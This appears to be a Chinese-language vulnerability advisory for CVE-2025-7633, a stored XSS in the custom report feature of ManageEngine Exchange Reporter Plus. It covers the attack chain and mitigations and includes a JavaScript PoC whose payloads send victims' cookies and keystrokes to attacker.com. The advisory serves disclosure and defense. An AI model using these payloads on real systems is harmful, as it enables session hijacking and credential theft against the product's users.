IPBUF安全漏洞报告
English
CVE-2025-7633 CVSS 7.3 高危

CVE-2025-7633 ManageEngine Exchange Reporter Plus存储型XSS漏洞

披露日期: 2025-11-11
来源: 0fc0942c-577d-436f-ae8e-945763c79b02

漏洞信息

漏洞编号
CVE-2025-7633
漏洞类型
存储型XSS
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Zohocorp ManageEngine Exchange Reporter Plus

相关标签

存储型XSSCVE-2025-7633ManageEngineExchange Reporter Plus跨站脚本高危漏洞CWE-79会话劫持数据窃取

漏洞概述

Zohocorp ManageEngine Exchange Reporter Plus 5723及以下版本存在存储型跨站脚本(Stored XSS)漏洞。该漏洞位于产品的自定义报表(Custom Report)功能中,攻击者可以利用此漏洞在报表字段中注入恶意JavaScript代码。由于是存储型XSS,恶意代码会被永久保存在服务器端,当其他用户查看包含恶意内容的报表时,攻击代码会自动执行。攻击者只需拥有低权限账号即可实施攻击,成功利用可窃取受害者Cookie、会话令牌等敏感信息,甚至可以冒充合法用户进行进一步操作。该漏洞CVSS评分7.3,属于高危级别,对系统机密性和完整性造成严重影响。由于该产品通常部署在企业内网环境中用于Exchange服务器监控,漏洞的利用可能对企业内网安全构成重大威胁。

技术细节

漏洞根源在于ManageEngine Exchange Reporter Plus的自定义报表功能对用户输入缺乏充分的输入验证和输出编码。攻击者可以在创建或编辑自定义报表时,在报表名称、字段标签、描述等文本输入框中注入包含JavaScript代码的恶意payload。由于系统未对这些输入进行严格的HTML实体编码或安全过滤,恶意代码会被存储在数据库中。当其他用户(可能是管理员或其他有权查看报表的用户)访问或预览包含恶意内容的报表时,服务器会将未经过滤的内容直接返回给客户端浏览器,触发恶意JavaScript代码执行。攻击者可以利用此漏洞执行多种恶意操作,包括:窃取用户会话Cookie、读取页面内容获取敏感信息、修改页面显示内容进行钓鱼攻击、植入进一步的攻击载荷等。由于攻击发生在受害者访问报表时,攻击具有隐蔽性且影响范围广泛。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者首先识别目标ManageEngine Exchange Reporter Plus版本,确认版本号小于等于5723
STEP 2
步骤2
初始访问:攻击者获取目标系统的低权限账号(普通用户权限即可)
STEP 3
步骤3
漏洞利用:攻击者登录系统后访问自定义报表创建功能,在报表名称、字段标签或描述等输入框中注入恶意JavaScript代码
STEP 4
步骤4
持久化:恶意payload被保存到数据库中,由于缺乏输入过滤,代码被永久存储
STEP 5
步骤5
触发阶段:当管理员或其他用户访问该报表时,服务器将恶意代码随页面内容一同返回
STEP 6
步骤6
代码执行:受害者浏览器解析响应内容时,恶意JavaScript代码自动执行
STEP 7
步骤7
数据窃取:攻击者通过恶意脚本窃取受害者Cookie、会话令牌或其他敏感信息
STEP 8
步骤8
会话劫持:攻击者利用窃取的凭证冒充受害者进行进一步恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-7633 Stored XSS PoC for ManageEngine Exchange Reporter Plus // Target: ManageEngine Exchange Reporter Plus <= 5723 // Location: Custom Report creation/editing // Step 1: Login with low-privilege account const loginEndpoint = 'https://target.com/api/v3/login'; const credentials = { username: 'attacker_user', password: 'password123' }; // Step 2: Create malicious custom report with XSS payload const createReportEndpoint = 'https://target.com/api/reports/custom'; const maliciousPayload = { reportName: '<script>document.location="https://attacker.com/steal?c="+document.cookie</script>', reportDescription: 'Test Report<script>alert(document.domain)</script>', reportType: 'exchange_mailbox', fields: [ { name: 'field1', label: '<img src=x onerror="fetch(\"https://attacker.com/log?data=\"+btoa(document.cookie))\"/>' } ] }; // Step 3: Send the malicious report creation request fetch(createReportEndpoint, { method: 'POST', headers: { 'Content-Type': 'application/json', 'Cookie': 'JSESSIONID=attacker_session' }, body: JSON.stringify(maliciousPayload) }); // Alternative payload - session hijacking via cookie theft const sessionHijackPayload = ` <script> var cookies = document.cookie; new Image().src = "https://attacker.com/collect?cookies=" + encodeURIComponent(cookies); </script> `; // Payload for keylogging const keylogPayload = ` <script> document.onkeypress = function(e) { fetch("https://attacker.com/keylog?k=" + e.key); } </script> `;

影响范围

ManageEngine Exchange Reporter Plus <= 5723

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)限制普通用户创建自定义报表的权限,仅允许管理员使用此功能;2)在Web应用前端和后端同时实施输入验证,对<、>、script等危险字符进行过滤或编码;3)配置严格的Content-Security-Policy响应头,禁止内联脚本执行;4)监控和审查所有自定义报表的创建和修改记录;5)对所有报表输出内容进行HTML实体编码转义;6)考虑暂时禁用自定义报表功能,等待官方修复方案。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表